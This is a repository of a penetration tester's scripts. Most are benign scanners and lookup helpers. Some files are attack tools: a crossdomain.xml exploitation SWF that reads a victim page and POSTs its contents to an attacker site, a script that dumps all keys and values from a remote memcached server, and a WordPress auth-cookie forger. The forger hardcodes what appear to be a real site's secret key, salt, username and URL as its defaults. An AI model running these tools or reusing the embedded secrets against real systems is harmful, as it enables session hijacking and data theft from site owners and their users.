├── .gitignore
├── .vimrc
├── LICENSE
├── README.md
├── cve_cvss_scores.rb
├── divisible.rb
├── drupal_module_versions.rb
├── file-checker.rb
├── flasher.txt
├── http_header_grep.rb
├── ips.rb
├── magento_version.rb
├── memcached_client.rb
├── multi_ssl_scan.rb
├── nodesec_severity.rb
├── send_url_list_through_proxy.rb
├── url-checker.rb
├── wp_php_object_injection.rb
└── wpcookiegen.py
/.gitignore:
--------------------------------------------------------------------------------
1 | *.gem
2 | *.rbc
3 | .bundle
4 | .config
5 | coverage
6 | InstalledFiles
7 | lib/bundler/man
8 | pkg
9 | rdoc
10 | spec/reports
11 | test/tmp
12 | test/version_tmp
13 | tmp
14 |
15 | # YARD artifacts
16 | .yardoc
17 | _yardoc
18 | doc/
19 |
--------------------------------------------------------------------------------
/.vimrc:
--------------------------------------------------------------------------------
1 | #
2 | # My vim config
3 | #
4 | filetype plugin indent on
5 | setlocal shiftwidth=2
6 | setlocal tabstop=2
7 | syntax on
8 | set encoding=utf-8
9 |
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | This is free and unencumbered software released into the public domain.
2 |
3 | Anyone is free to copy, modify, publish, use, compile, sell, or
4 | distribute this software, either in source code form or as a compiled
5 | binary, for any purpose, commercial or non-commercial, and by any
6 | means.
7 |
8 | In jurisdictions that recognize copyright laws, the author or authors
9 | of this software dedicate any and all copyright interest in the
10 | software to the public domain. We make this dedication for the benefit
11 | of the public at large and to the detriment of our heirs and
12 | successors. We intend this dedication to be an overt act of
13 | relinquishment in perpetuity of all present and future rights to this
14 | software under copyright law.
15 |
16 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
17 | EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
18 | MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
19 | IN NO EVENT SHALL THE AUTHORS BE LIABLE FOR ANY CLAIM, DAMAGES OR
20 | OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE,
21 | ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
22 | OTHER DEALINGS IN THE SOFTWARE.
23 |
24 | For more information, please refer to
25 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | my-scripts
2 | ==========
3 |
4 | Code snippets I find useful
5 |
--------------------------------------------------------------------------------
/cve_cvss_scores.rb:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env ruby
2 |
3 | # gem install typhoeus
4 | # gem install nokogiri
5 |
6 | require 'typhoeus'
7 | require 'nokogiri'
8 |
9 | nist_url = 'https://web.nvd.nist.gov/view/vuln/detail?vulnId='
10 | cve_hash = {}
11 | cve_output = ''
12 |
13 |
14 | cves = File.open('cves.txt').read
15 |
16 | cves.gsub!(/\r\n?/, "\n") # normalize EOL chars
17 |
18 | cves.split("\n").each do |cve|
19 | puts "Getting CVSS for #{cve}..."
20 | doc = Nokogiri::HTML(Typhoeus.get("#{nist_url}#{cve}").body)
21 | cvss_links = doc.css('#BodyPlaceHolder_cplPageContent_plcZones_lt_zoneCenter_VulnerabilityDetail_VulnFormView_VulnCvssPanel .row a')
22 |
23 | cve_hash[cve] = cvss_links[0].text
24 | end
25 |
26 | puts
27 | puts
28 |
29 | cve_hash = Hash[cve_hash.sort_by{|k, v| v}.reverse]
30 |
31 | cve_hash.each_pair do |cve, score|
32 | cve_output << "#{cve} (CVSS:#{score}), "
33 | end
34 |
35 | puts cve_output
36 |
--------------------------------------------------------------------------------
/divisible.rb:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env ruby
2 |
3 | #
4 | # Works out what the input integer is divisible by, useful for padbuster.
5 | #
6 |
7 | @input = ARGV[0]
8 |
9 | def divisible?(i)
10 | (@input.to_i % i).zero?
11 | end
12 |
13 | (2...@input.to_i).each_with_index do |i|
14 | puts "#{@input} is divisible by #{i}" if divisible?(i)
15 | end
16 |
--------------------------------------------------------------------------------
/drupal_module_versions.rb:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env ruby
2 |
3 | #
4 | # Obtains the latest version number from a list of Drupal modules.
5 | # Useful when you want to figure out if drupal modules are outdates or not.
6 | #
7 |
8 | require 'typhoeus'
9 | require 'nokogiri'
10 |
11 | modules = File.open(ARGV.join).read.split("\n")
12 | module_url = 'https://www.drupal.org/project/'
13 |
14 | modules.each do |drupal_module|
15 | response = Typhoeus.get(module_url + drupal_module)
16 | doc = Nokogiri::HTML(response.body)
17 |
18 | latest_version = doc.css('.views-field-field-release-version a')[0].text
19 |
20 | puts "#{drupal_module} #{latest_version}"
21 | end
22 |
23 |
--------------------------------------------------------------------------------
/file-checker.rb:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env ruby
2 |
3 | #
4 | # This script takes a filename or directory as an argument as well as a list of URLs.
5 | # It will check every URL for that filename/directory and output the status code.
6 | # Useful if you want to check, phpinfo.php exists on multiple domains for example.
7 | # Example: ruby file-checker.rb filename urls.txt
8 | #
9 | # By: Ryan Dewhurst
10 | #
11 | #
12 |
13 | require 'typhoeus'
14 | require 'uri'
15 |
16 | if ARGV[0].nil?
17 | puts "Usage: filename urls.txt"
18 | exit
19 | end
20 |
21 | filename = ARGV[0]
22 | urls = File.read(ARGV[1]).split("\n")
23 |
24 | urls.each do |url|
25 | url = URI.parse(URI.encode(url)).merge(filename)
26 |
27 | response = Typhoeus.get( url.to_s,
28 | :ssl_verifyhost => 0,
29 | :ssl_verifypeer => false,
30 | :followlocation => true,
31 | :headers => {'User-Agent' => 'Mozilla'},
32 | :timeout => 1000 )
33 |
34 | puts "#{url} #{response.code}"
35 | end
36 |
37 | exit
38 |
--------------------------------------------------------------------------------
/flasher.txt:
--------------------------------------------------------------------------------
1 | // crossdomain.xml file exploitation SWF file from http://paladion.net/weak-crossdomain-xml-and-its-exploitation-poc/
2 |
3 | package {
4 | import flash.display.Sprite;
5 | import flash.events.*;
6 | import flash.net.URLRequestMethod;
7 | import flash.net.URLRequest;
8 | import flash.net.URLLoader;
9 |
10 | public class flasher extends Sprite {
11 | var readFrom:String = ""; // The target (victim) URL.
12 | var readRequest:URLRequest = new URLRequest(readFrom);
13 | var getLoader:URLLoader = new URLLoader();
14 | getLoader.addEventListener(Event.COMPLETE, eventHandler);
15 | try
16 | {
17 | getLoader.load(readRequest);
18 | }
19 | catch (error:Error)
20 | {
21 | }
22 | }
23 |
24 | private function eventHandelr(event:Event):void
25 | {
26 | var sendTo:String = "" // Attacker site, where data will be sent.
27 | var sendRequest:URLRequest = new URLRequest(sendTo);
28 | sendRequest.method = URLRequestMethod.POST;
29 | sendRequest.data = event.target.data;
30 | var sendLoader:URLLoader = new URLLoader();
31 | try
32 | {
33 | sendLoader.load(sendRequest);
34 | }
35 | catch (error:Error)
36 | {
37 | }
38 | }
39 | }
40 |
--------------------------------------------------------------------------------
/http_header_grep.rb:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env ruby
2 |
3 | #
4 | # Script that runs a regular expression against the response headers of a list of URLs.
5 | # Useful for checking if a list of URLs have HSTS, the Server content, etc
6 | #
7 |
8 | require 'typhoeus'
9 | require 'uri'
10 |
11 | if ARGV[0].nil?
12 | puts "Usage: ruby #{__FILE__} \"regex\" urls.txt"
13 | exit
14 | end
15 |
16 | regex = ARGV[0]
17 | urls = File.read(ARGV[1]).split("\n")
18 |
19 | urls.each_with_index do |url, index|
20 | url = URI.parse(URI.encode(url))
21 |
22 | response = Typhoeus.get( url.to_s,
23 | ssl_verifyhost: 0,
24 | ssl_verifypeer: false,
25 | followlocation: true,
26 | headers: {'User-Agent' => 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:38.0) Gecko/20100101 Firefox/38.0'},
27 | timeout: 1000 )
28 |
29 | matches = response.response_headers.scan(Regexp.new(regex, true))
30 |
31 | puts
32 | puts "[#{index}] #{url}"
33 | matches.each { |match| puts match }
34 | end
35 |
36 | exit
37 |
--------------------------------------------------------------------------------
/ips.rb:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env ruby
2 |
3 | #
4 | # Lists IPs in a CIDR range.
5 | #
6 |
7 | require 'ipaddress'
8 |
9 | ips = IPAddress.parse ''
10 |
11 | ips.each do |ip|
12 | puts ip
13 | end
14 |
15 |
--------------------------------------------------------------------------------
/magento_version.rb:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env ruby
2 |
3 | require 'typhoeus'
4 | require 'json'
5 | require 'uri'
6 | require 'digest/md5'
7 |
8 | # https://raw.githubusercontent.com/gwillem/magento-version-identification/master/version_hashes.json
9 |
10 | target = ARGV[0]
11 | hashes = JSON.parse(File.open('version_hashes.json').read)
12 | hydra = Typhoeus::Hydra.hydra
13 |
14 | hashes.each do |hash|
15 | file = hash[0]
16 | url = URI.join(target, file).to_s
17 | request = Typhoeus::Request.new(url, followlocation: true)
18 | hashes = hash[1].keys
19 |
20 | hydra.queue(request)
21 |
22 | request.on_complete do |response|
23 | if response.success?
24 | response_hash = Digest::MD5.hexdigest(response.body)
25 |
26 | if hash[1].keys.include? response_hash
27 | puts "[+] Magento version detected as #{hash[1][response_hash]} from #{url} using hash #{response_hash}"
28 | end
29 | elsif response.timed_out?
30 | # aw hell no
31 | elsif response.code == 0
32 | # Could not get an http response, something's wrong.
33 | else
34 | # Received a non-successful http response.
35 | end
36 | end
37 | end
38 |
39 | hydra.run
40 |
--------------------------------------------------------------------------------
/memcached_client.rb:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env ruby
2 |
3 | # gem install dalli -> https://github.com/mperham/dalli
4 |
5 | require 'dalli'
6 | require 'net/telnet'
7 |
8 | @server = 'remote_server_ip'
9 | @port = '11211'
10 | @serverport = "#{@server}:#{@port}"
11 |
12 | begin
13 | @dc = Dalli::Client.new(@serverport, compress: true, socket_timeout: 5)
14 | rescue Dalli::NetworkError
15 | puts "[!] Couldn't connect to remote host #{serverport}"
16 | exit
17 | end
18 |
19 | #
20 | # Extract the slabs from the items stats.
21 | # Returns a unique array of slabs.
22 | #
23 | def slabs
24 | slabs = []
25 |
26 | @dc.stats(:items)[@serverport].each_pair do |key, value|
27 | slabs << key.match(/^items:(\d*):/)[1]
28 | end
29 |
30 | slabs = slabs.uniq - [""]
31 |
32 | puts
33 | puts "[*] Identified #{slabs.size} slabs..."
34 |
35 | slabs
36 | end
37 |
38 | #
39 | # Extract the keys using stats cachedump:
40 | # http://www.darkcoding.net/software/memcached-list-all-keys/
41 | # https://gist.github.com/bkimble/1365005
42 | # Returns an array of keys.
43 | #
44 | def keys(slabs)
45 | keys = []
46 |
47 | telnet = Net::Telnet::new('Host' => @server,
48 | 'Port' => @port,
49 | 'Timeout' => 15,
50 | 'Telnetmode' => false,
51 | 'Waittime' => 5)
52 |
53 | slabs.each do |slab|
54 | sleep 0.5 # don't want to flood the server
55 |
56 | begin
57 | telnet.cmd('String' => "stats cachedump #{slab} 100", 'Match' => /^END/) { |output| keys << output.scan(/^ITEM\s([\w-]*)\s/) }
58 | rescue => e
59 | puts "[!] Something is wrong when getting slabs #{e}"
60 | next
61 | end
62 | end
63 |
64 | telnet.close
65 |
66 | keys = keys.flatten.uniq
67 | puts "[*] Identified #{keys.size} keys..."
68 |
69 | keys
70 | end
71 |
72 | #
73 | # Use the key name to grab the key value
74 | #
75 | def values(found_slabs)
76 | keys(found_slabs).each do |key|
77 | begin
78 | puts "[*] Getting value for #{key} key..."
79 | value = @dc.get(key)
80 | puts value if value
81 | rescue => e
82 | # puts "[!] Something went wrong #{e}"
83 | next
84 | end
85 | end
86 | end
87 |
88 | #
89 | # Dumps the memcached stats
90 | #
91 | def stats
92 | @dc.stats[@serverport].each_pair do |key, value|
93 | puts "[*] #{key}: #{value}"
94 | end
95 | end
96 |
97 | #
98 | # Main
99 | #
100 | if @dc.alive!
101 | puts "[+] Connected to #{@serverport}"
102 |
103 | puts
104 | puts '[+] Remote memcached stats:'
105 | puts
106 |
107 | stats
108 |
109 | found_slabs = slabs
110 |
111 | unless found_slabs.empty?
112 | puts
113 | puts '[+] Remote memcached key values:'
114 | puts
115 |
116 | values(found_slabs)
117 | else
118 | puts
119 | puts '[!] No slabs found.'
120 | end
121 |
122 | @dc.close
123 | end
124 |
--------------------------------------------------------------------------------
/multi_ssl_scan.rb:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env ruby
2 |
3 |
4 | if ARGV[0].nil?
5 | puts "Usage: ruby #{__FILE__} domains.txt"
6 | exit
7 | end
8 |
9 | domains = File.read(ARGV[0]).split("\n")
10 |
11 | domains.each_with_index do |domain, index|
12 | p domain
13 | `java -jar /Users/ryan/Tools/ssl/TestSSLServer.jar #{domain} >> /Users/ryan/Desktop/ssl/#{domain}.txt`
14 | end
15 |
16 | exit
17 |
--------------------------------------------------------------------------------
/nodesec_severity.rb:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env ruby
2 |
3 | require 'typhoeus'
4 | require 'uri'
5 | require 'nokogiri'
6 |
7 | url = 'https://nodesecurity.io/advisories/'
8 | ids = ARGV[0].split(',')
9 | cvsses = {}
10 |
11 | ids.each do |id|
12 | new_url = URI.parse(url).merge(id)
13 |
14 | response = Typhoeus.get( new_url.to_s,
15 | :ssl_verifyhost => 0,
16 | :ssl_verifypeer => false,
17 | :followlocation => true,
18 | :headers => {'User-Agent' => 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36'},
19 | :timeout => 1000 )
20 |
21 | cvsses[new_url] = Nokogiri::HTML(response.body).css('.cvss-score').text
22 | end
23 |
24 | cvsses.sort_by {|_key, value| value}.reverse.each do |key, value|
25 | p "#{key} CVSS:#{value}"
26 | end
27 |
28 | exit
29 |
--------------------------------------------------------------------------------
/send_url_list_through_proxy.rb:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env ruby
2 |
3 | #
4 | # Requests a list of URLs through a proxy.
5 | #
6 |
7 | require 'typhoeus'
8 |
9 | urls = File.open(ARGV.join).read.split("\n")
10 | proxy = 'http://127.0.0.1:8080'
11 |
12 |
13 | urls.each_with_index do |url, index|
14 | response = Typhoeus.get(url, proxy: proxy, followlocation: true)
15 | puts "#{index} - #{url} [#{response.code}]"
16 | end
17 |
--------------------------------------------------------------------------------
/url-checker.rb:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env ruby
2 |
3 | #
4 | # Takes a list of URLs and sees which respond or not, useful for scoping large list of URLs.
5 | #
6 |
7 | require 'typhoeus'
8 |
9 | url_list = ARGV[0]
10 | @ua = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:24.0) Gecko/20100101 Firefox/24.0"
11 | @good_sites = []
12 | @bad_sites = []
13 | @timeouts = []
14 |
15 | def add_http_scheme(url)
16 | url =~ /^https?/ ? url : "http://#{url}"
17 | end
18 |
19 | def add_https_scheme(url)
20 | url =~ /^https?/ ? url : "https://#{url}"
21 | end
22 |
23 | def request(url)
24 | Typhoeus::Request.get(url,
25 | :ssl_verifyhost => 0,
26 | :ssl_verifypeer => false,
27 | :followlocation => true,
28 | :headers => {'User-Agent' => @ua},
29 | :timeout => 1)
30 | end
31 |
32 | if File.exists?(url_list)
33 | file = File.open(url_list)
34 | else
35 | puts "ERROR: File #{url_list} does not exist!"
36 | exit
37 | end
38 |
39 | file.each_line do |url|
40 | url = url.chop
41 |
42 | http_url = add_http_scheme(url)
43 | https_url = add_https_scheme(url)
44 |
45 | http_response = request(http_url)
46 | https_response = request(https_url)
47 |
48 | puts "Checking: #{http_url} [#{http_response.code}]"
49 | puts "Checking: #{https_url} [#{https_response.code}]"
50 |
51 | # HTTP
52 | if http_response.code == 200
53 | @good_sites << http_url
54 | elsif http_response.timed_out?
55 | @timeouts << http_url
56 | @bad_sites << http_url
57 | else
58 | @bad_sites << http_url
59 | end
60 |
61 | # HTTPS
62 | if https_response.code == 200
63 | @good_sites << https_url
64 | elsif https_response.timed_out?
65 | @timeouts << https_url
66 | @bad_sites << https_url
67 | else
68 | @bad_sites << https_url
69 | end
70 | end
71 |
72 | puts
73 | puts "| There were #{@good_sites.length} sites that responded with a 200 code:"
74 | puts
75 | @good_sites.each do |site|
76 | puts site
77 | end
78 |
79 | puts
80 | puts "| There were #{@timeouts.length} sites that timedout:"
81 | puts
82 | @timeouts.each do |site|
83 | puts site
84 | end
85 |
86 | puts
87 | puts "| There were #{@bad_sites.length} sites that timedout or returned a response other than 200:"
88 | puts
89 | @bad_sites.each do |site|
90 | puts site
91 | end
92 |
93 |
--------------------------------------------------------------------------------
/wp_php_object_injection.rb:
--------------------------------------------------------------------------------
1 | java_import 'burp.IBurpExtender'
2 | java_import 'burp.IScannerCheck'
3 | java_import 'burp.IScanIssue'
4 |
5 | require 'java'
6 | java_import 'java.util.Arrays'
7 | java_import 'java.util.ArrayList'
8 |
9 | #
10 | # You will need to download JRuby's Complete.jar file from http://jruby.org/download and configure Burp Extender with its path.
11 | # You will also need to install the WordPress PHP Object Injection WordPress Plugin created by White Fir Design.
12 | # Tip: Remove "PHP object injection has occurred." from the WordPress PHP Object Injection WordPress Plugin's description to not cause a false positive.
13 | #
14 | # Inspiration/idea and WordPress Plugin from https://www.pluginvulnerabilities.com/2017/07/24/wordpress-plugin-for-use-in-testing-for-php-object-injection/
15 | # Burp Extension code from https://raw.githubusercontent.com/PortSwigger/example-scanner-checks/master/ruby/CustomScannerChecks.rb
16 | #
17 |
18 | GREP_STRING = 'PHP object injection has occurred.'
19 | GREP_STRING_BYTES = GREP_STRING.bytes.to_a
20 | INJ_TEST = 'O:20:"PHP_Object_Injection":0:{}'.bytes.to_a
21 | INJ_ERROR = 'PHP object injection has occurred.'
22 | INJ_ERROR_BYTES = INJ_ERROR.bytes.to_a
23 |
24 | class BurpExtender
25 | include IBurpExtender, IScannerCheck
26 |
27 | #
28 | # implement IBurpExtender
29 | #
30 |
31 | def registerExtenderCallbacks(callbacks)
32 | # keep a reference to our callbacks object
33 | @callbacks = callbacks
34 |
35 | # obtain an extension helpers object
36 | @helpers = callbacks.getHelpers
37 |
38 | # set our extension name
39 | callbacks.setExtensionName 'WordPress PHP Object Injection Check'
40 |
41 | # register ourselves as a custom scanner check
42 | callbacks.registerScannerCheck self
43 | end
44 |
45 | # helper method to search a response for occurrences of a literal match string
46 | # and return a list of start/end offsets
47 |
48 | def _get_matches(response, match)
49 | matches = ArrayList.new
50 | start = 0
51 | while start < response.length
52 | start = @helpers.indexOf(response, match, true, start, response.length)
53 | break if start == -1
54 | matches.add [start, start + match.length].to_java :int
55 | start += match.length
56 | end
57 |
58 | return matches
59 | end
60 |
61 | #
62 | # implement IScannerCheck
63 | #
64 |
65 | def doPassiveScan(baseRequestResponse)
66 | # look for matches of our passive check grep string
67 | matches = self._get_matches(baseRequestResponse.getResponse, GREP_STRING_BYTES)
68 | return nil if matches.length == 0
69 |
70 | # report the issue
71 | issues = ArrayList.new
72 | issues.add CustomScanIssue.new(
73 | baseRequestResponse.getHttpService,
74 | @helpers.analyzeRequest(baseRequestResponse).getUrl,
75 | [@callbacks.applyMarkers(baseRequestResponse, nil, matches)],
76 | 'WordPress PHP Object Injection',
77 | 'Submitting the serialized string O:20:"PHP_Object_Injection":0:{} returned: ' + GREP_STRING,
78 | 'High').to_java IScanIssue
79 |
80 | return issues
81 | end
82 |
83 | def doActiveScan(baseRequestResponse, insertionPoint)
84 | # make a request containing our injection test in the insertion point
85 | checkRequest = insertionPoint.buildRequest INJ_TEST
86 | checkRequestResponse = @callbacks.makeHttpRequest(
87 | baseRequestResponse.getHttpService, checkRequest)
88 |
89 | # look for matches of our active check grep string
90 | matches = self._get_matches(checkRequestResponse.getResponse, INJ_ERROR_BYTES)
91 | return nil if matches.length == 0
92 |
93 | # get the offsets of the payload within the request, for in-UI highlighting
94 | requestHighlights = [insertionPoint.getPayloadOffsets(INJ_TEST)]
95 |
96 | # report the issue
97 | issues = ArrayList.new
98 | issues.add CustomScanIssue.new(
99 | baseRequestResponse.getHttpService,
100 | @helpers.analyzeRequest(baseRequestResponse).getUrl,
101 | [@callbacks.applyMarkers(checkRequestResponse, requestHighlights, matches)],
102 | 'WordPress PHP Object Injection',
103 | 'Submitting the serialized string O:20:"PHP_Object_Injection":0:{} returned: ' + INJ_ERROR,
104 | 'High').to_java IScanIssue
105 |
106 | return issues
107 | end
108 |
109 | def consolidateDuplicateIssues(existingIssue, newIssue)
110 | # This method is called when multiple issues are reported for the same URL
111 | # path by the same extension-provided check. The value we return from this
112 | # method determines how/whether Burp consolidates the multiple issues
113 | # to prevent duplication
114 | #
115 | # Since the issue name is sufficient to identify our issues as different,
116 | # if both issues have the same name, only report the existing issue
117 | # otherwise report both issues
118 | if existingIssue.getIssueName == newIssue.getIssueName
119 | return -1
120 | else
121 | return 0
122 | end
123 | end
124 | end
125 |
126 | #
127 | # class implementing IScanIssue to hold our custom scan issue details
128 | #
129 | class CustomScanIssue
130 | include IScanIssue
131 |
132 | def initialize(httpService, url, httpMessages, name, detail, severity)
133 | @httpService = httpService
134 | @url = url
135 | @httpMessages = httpMessages
136 | @name = name
137 | @detail = detail
138 | @severity = severity
139 | end
140 |
141 | def getUrl()
142 | @url
143 | end
144 |
145 | def getIssueName()
146 | @name
147 | end
148 |
149 | def getIssueType()
150 | 0
151 | end
152 |
153 | def getSeverity()
154 | @severity
155 | end
156 |
157 | def getConfidence()
158 | 'Certain'
159 | end
160 |
161 | def getIssueBackground()
162 | nil
163 | end
164 |
165 | def getRemediationBackground()
166 | nil
167 | end
168 |
169 | def getIssueDetail()
170 | @detail
171 | end
172 |
173 | def getRemediationDetail()
174 | nil
175 | end
176 |
177 | def getHttpMessages()
178 | @httpMessages
179 | end
180 |
181 | def getHttpService()
182 | @httpService
183 | end
184 | end
185 |
--------------------------------------------------------------------------------
/wpcookiegen.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python
2 | #
3 | ##############################################################################
4 | # Title: WordPress Auth Cookie Generator Demo
5 | # Author: Mike Czumak (T_v3rn1x) - @SecuritySift - securitysift.com
6 | # Purpose: Generates WP auth cookies (requires valid Secret Key and Salt)
7 | # License: You may modify and/or distribute freely, as long as it is not
8 | # used maliciously or incorporated into any commercial product
9 | ##############################################################################
10 |
11 | import hmac, hashlib, string, sys, getopt
12 |
13 | # generate an md5 hash with salt in same manner as WP
14 | def wp_hash(data, key, salt):
15 | wpsalt = key + salt
16 | hash = hmac.new(wpsalt, data, hashlib.md5).hexdigest()
17 | return hash
18 |
19 | # generate array of all 4 character password frags given a range of
20 | # upper and lower case letters numbers 0-9, slash (/) and period (.)
21 | def gen_pass_frag():
22 |
23 | lowerletters = list(map(chr, range(ord('a'), ord('Z')+1)))
24 | upperletters = list(map(chr, range(ord('A'), ord('Z')+1)))
25 | numbers = list(map(chr, range(ord('0'), ord('9')+1)))
26 | specchars = ['/', '.'];
27 | allchars = lowerletters + upperletters + numbers + specchars
28 | frags = ''; # hold concatenated list of all 4-char frag combos
29 | count = 0; # loop counter
30 |
31 | #generate all possible 4-character combinations for $pass_frag
32 | for f1 in allchars:
33 | for f2 in allchars:
34 | for f3 in allchars:
35 | for f4 in allchars:
36 | frags += f1+f2+f3+f4+',';
37 | count += 1;
38 |
39 | frags = frags.rstrip(',') # remove trailing comma
40 | frag_array = frags.split(','); # split list into an array for iteration
41 |
42 | return frag_array
43 |
44 | # generate all possible cookies for a given user
45 | def gen_cookies(username, expiration, pass_frag, key, salt, target):
46 | frag_array = []
47 | #scheme = 'auth' # default auth scheme for wp
48 | scheme = 'secure_auth'
49 |
50 | # generate password frag combinations or use single frag passed as arg
51 | if pass_frag == '':
52 | frag_array = gen_pass_frag()
53 | else:
54 | frag_array = [pass_frag]
55 |
56 | cookie_id = 'wordpress_' + hashlib.md5(target).hexdigest() + '='
57 | allcookies = '' # string to hold all generated cookies
58 | i = 0 # loop counter
59 |
60 | # loop through each generated pass frag and build key/hash/cookie
61 | for frag in frag_array:
62 | hashkey = wp_hash(username + frag + '|' + expiration, key, salt)
63 | hash = hmac.new(hashkey, username + '|' + expiration, hashlib.md5).hexdigest()
64 | cookie = str(i) + ':' + frag + ':' + cookie_id + username + '%7C' + expiration + '%7C' + hash + '\n'
65 | allcookies += cookie
66 | i+=1
67 |
68 | print ('\n[+] Cookie gen complete. ' + str(i) + ' cookie(s) created.');
69 |
70 | if i == 1:
71 | print '[+] Cookie: ' + allcookies.split(':')[2]
72 | else:
73 | # write cookies to file
74 | filename = cookie_id.split('_')[1].split('=')[0] + '_' + username + '_cookies.txt'
75 | f = open(filename, 'w')
76 | f.write(allcookies)
77 | f.close();
78 | print ('[+] Cookies written to file [' + filename + ']\n')
79 |
80 |
81 | def main(argv):
82 | username = 'clubmaster' # default username
83 | pass_frag = '' # default is to generate pass frags
84 | expiration = '1577836800' # default expiration date (1/1/2020)
85 | key = '}nQu1A@UGy?mlT.{l9g}rc3xxC:2$,/KL_%[XZUJPl,)(C[U{Cs_?Nz;3]F~BYB@'
86 | salt = '!EurE[[1[^m3d(e} B#g5+oYSUFi:CL]7,jR{9W;zc%[7?[UfwU*G.;z!,+ygSKq'
87 | target = 'https://www.arsenaldoubleclub.co.uk'
88 |
89 | print "\nWordPress Auth Cookie Generator"
90 | print "Author: Mike Czumak (T_v3rn1x) - @SecuritySift - securitysift.com"
91 | print "Purpose: Generates WP auth cookies (requires valid Secret Key and Salt)"
92 |
93 | usage = '''\nUsage: wpcookiegen.py\n\nOptions:
94 | -u (default is admin)
95 | -f (default/blank will generate all combos)
96 | -e (unix_date_stamp: default is 1/1/2020)
97 | -k (default is DisclosedKey)
98 | -s (default is DisclosedSalt)
99 | -t (default is http://localhost/wordpress)\n\nNotes:
100 | You can parse the cookie list directly in Burp with the following regex:
101 | ^[0-9]*:[0-9a-zA-z\.\/]{4}:\n'''
102 |
103 | try:
104 | opts, args = getopt.getopt(argv,'hu:f:e:s:')
105 | except getopt.GetoptError:
106 | print usage
107 | sys.exit(2)
108 |
109 | for opt, arg in opts:
110 | if opt == '-h':
111 | print usage
112 | sys.exit()
113 | elif opt == '-u':
114 | username = arg
115 | elif opt == '-f':
116 | pass_frag = arg
117 | elif opt == '-e':
118 | expiration = arg
119 | elif opt =='-s':
120 | salt = arg
121 | elif opt == 'k':
122 | key = arg
123 | elif opt == 't':
124 | target == arg
125 |
126 | gen_cookies(username,expiration,pass_frag, key, salt, target)
127 |
128 | if __name__ == '__main__':
129 | main(sys.argv[1:])
130 |
--------------------------------------------------------------------------------